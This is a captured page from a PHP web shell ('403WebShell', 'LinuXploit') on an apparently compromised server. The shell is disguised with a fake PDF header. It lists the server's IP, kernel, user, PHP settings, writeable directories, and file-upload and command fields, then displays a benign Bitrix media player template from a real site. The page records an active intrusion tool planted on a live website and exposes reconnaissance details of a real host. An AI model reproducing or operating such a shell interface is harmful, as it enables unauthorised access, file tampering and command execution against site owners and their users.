%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.133.159.49
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/player/templates/audio_compact/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/player/templates/audio_compact/template.php
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();?>
<?if ($arResult["PLAYER_TYPE"] == "flv"): // Attach Flash Player?>

	<div id="<?=$arResult["ID"]?>_div" style="max-width: <?= $arParams['WIDTH']?>px; height: <?= $arParams['HEIGHT']?>px;"><?= GetMessage('PLAYER_LOADING')?></div>
	<script>
		window.bxPlayerOnload<?=$arResult["ID"]?> = function(config)
		{
			if (typeof config != 'object')
				config = <?= $arResult['jwConfig']?>;

			jwplayer("<?=$arResult["ID"]?>_div").setup(config);

			<?if (isset($arParams['WMODE']) && $arParams['WMODE'] != 'opaque'):?>
			jwplayer("<?=$arResult["ID"]?>_div").onReady(function()
			{
				try{
					var pWmode = BX.findChild(BX("<?=$arResult["ID"]?>_div"), {tagName: "PARAM", attribute: {name: "wmode"}});
					if (pWmode)
						pWmode.value = "<?= $arParams['WMODE']?>";

					var pEmbed = BX.findChild(BX("<?=$arResult["ID"]?>_div"), {tagName: "EMBED"});
					if (pEmbed && pEmbed.setAttribute)
						pEmbed.setAttribute("wmode", "<?= $arParams['WMODE']?>");
				}catch(e){}
			});
			<?endif;?>
		};

		if (window.jwplayer) // jw script already loaded
		{
			setTimeout(bxPlayerOnload<?=$arResult["ID"]?>, 100);
		}
		else
		{
			BX.addCustomEvent(window, "onPlayerJWScriptLoad", function(){setTimeout(bxPlayerOnload<?=$arResult["ID"]?>, 100);});
			if (!window.bPlayerJWScriptLoaded)
			{
				window.bPlayerJWScriptLoaded = true;
				// load jw scripts once
				BX.loadScript('<?=$this->__component->__path;?>/mediaplayer/jwplayer.js', function(){setTimeout(function()
				{
					BX.onCustomEvent(window, "onPlayerJWScriptLoad");
				}, 100);});
			}
		}
	</script><noscript><?=GetMessage('ENABLE_JAVASCRIPT')?></noscript>

<?elseif ($arResult["PLAYER_TYPE"] == "wmv"): // Attach WMV Player?>
	<div id="<?=$arResult["ID"]?>"></div>
	<script>
		var arFiles = [
			'<?=$this->__component->__path;?>/wmvplayer/silverlight.js',
			'<?=$this->__component->__path;?>/wmvplayer/wmvplayer.js'
		];
		<?if ($arResult["USE_JS_PLAYLIST"]):?>
		var JSMESS = {
			ClickToPLay : "<?= GetMessage('JS_CLICKTOPLAY')?>",
			Link : "<?= GetMessage('JS_LINK')?>",
			PlayListError: "<?= GetMessage('JS_PLAYLISTERROR')?>"
		};
		BX.loadCSS('<?=$templateFolder;?>/wmvplaylist.css');
		arFiles.push('<?=$templateFolder;?>/wmvscript_playlist.js');
		<?else:?>
		arFiles.push('<?=$this->__component->__path;?>/wmvplayer/wmvscript.js');
		<?endif;?>

		BX.loadScript(arFiles, function(){setTimeout(function(){
			if (window.showWMVPlayer)
				window.showWMVPlayer("<?=$arResult["ID"]?>", <?=\CUtil::PhpToJSObject($arResult['WMV_CONFIG']);?>, <?=\CUtil::PhpToJSObject($arResult['PLAYLIST_CONFIG']);?>);
		}, 100);});

	</script><noscript><?=GetMessage('ENABLE_JAVASCRIPT')?></noscript>

<?elseif ($arResult["PLAYER_TYPE"] == "videojs"): // Attach video.js?>
	<?
	if ($arResult['AUDIO_FILE'] === true)
		$tag_name = 'audio';
	else
		$tag_name = 'video';
	?>
	<<?=$tag_name;?> id="<?=$arResult["ID"];?>" class="video-js <?=$arResult['SKIN_NAME'];?> vjs-big-play-centered" width="<?=$arParams["WIDTH"];?>" height="<?=$arParams["HEIGHT"];?>"<?
	if ($arParams["MUTE"] === "Y")
		echo " muted";
	?>>

	<?if($arParams["USE_PLAYLIST"] != 'Y' && !$arResult['YOUTUBE'])
	{?>
		<source src="<?=$arResult['PATH'];?>" type="<?=$arResult['FILE_TYPE'];?>">
	<?}?>
	</<?=$tag_name;?>><noscript><?=GetMessage('ENABLE_JAVASCRIPT')?></noscript>
	<script>
		BX.ready(function()
		{
			var init_player_<?=$arResult["ID"];?> = function ()
			{
				if (videojs.players['<?=$arResult["ID"];?>'])
				{
					delete videojs.players['<?=$arResult["ID"];?>'];
				}
				player_<?=$arResult["ID"];?> = videojs("<?=$arResult["ID"];?>", <?=\CUtil::PhpToJSObject($arResult["VIDEOJS_PARAMS"]);?>);
				player_<?=$arResult["ID"];?>.ready (function()
				{
					player_<?=$arResult["ID"];?>.controlBar.removeChild('timeDivider');
					player_<?=$arResult["ID"];?>.controlBar.removeChild('durationDisplay');
					player_<?=$arResult["ID"];?>.controlBar.addChild('timeDivider');
					player_<?=$arResult["ID"];?>.controlBar.addChild('durationDisplay');
					player_<?=$arResult["ID"];?>.volume (<?=floatval($arResult["VOLUME"]);?>);
					<? if ($arParams["SHOW_CONTROLS"] != "N"): ?>
						player_<?=$arResult["ID"];?>.removeClass('vjs-controls-disabled');
					<? endif; ?>
					player_<?=$arResult["ID"];?>.hasStarted(true);
				});
			};
			if (typeof videojs == 'undefined')
			{
				window.videojs_player_timout = true;
				<?if (!empty($arResult['CSS_FILES']))
				{?>
				BX.loadCSS(<?=\CUtil::PhpToJSObject($arResult['CSS_FILES']);?>);
				<?}
				if (!empty($arResult['JS_FILES']))
				{?>
				BX.loadScript(<?=\CUtil::PhpToJSObject($arResult['JS_FILES']);?>, function()
				{
					setTimeout(function()
					{
						init_player_<?=$arResult["ID"];?>();
					}, 100);
				});
				<?}?>
			}
			else
			{
				if (window.videojs_player_timout === true)
				{
					setTimeout(function() {
						init_player_<?=$arResult["ID"];?>();
					}, 100);
				}
				else
				{
					init_player_<?=$arResult["ID"];?>();
				}
			}
		});
	</script>
<?endif;?>

Youez - 2016 - github.com/yon3zu
LinuXploit